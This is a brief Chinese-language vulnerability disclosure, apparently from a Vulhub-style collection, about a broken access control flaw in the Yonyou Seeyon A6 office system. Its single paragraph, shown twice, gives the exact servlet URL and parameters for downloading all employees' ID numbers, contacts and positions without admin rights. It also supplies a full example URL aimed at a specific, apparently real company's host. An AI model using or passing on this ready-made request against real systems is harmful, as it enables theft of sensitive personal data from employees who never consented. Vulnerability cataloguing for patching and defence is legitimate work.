VULHUB ™

用友致远A6协同系统 存在问题的链接： /yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0 只有系统管理才有的权限，但是任意用户都可以访问。 可以下载所有员工的个人信息，包括身份证、联系方式、职位等敏感信息。 以某公司为例子，直接访问： http://oa.juntongtongxin.com/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0

用友致远A6协同系统 存在问题的链接： /yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0 只有系统管理才有的权限，但是任意用户都可以访问。 可以下载所有员工的个人信息，包括身份证、联系方式、职位等敏感信息。 以某公司为例子，直接访问： http://oa.juntongtongxin.com/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0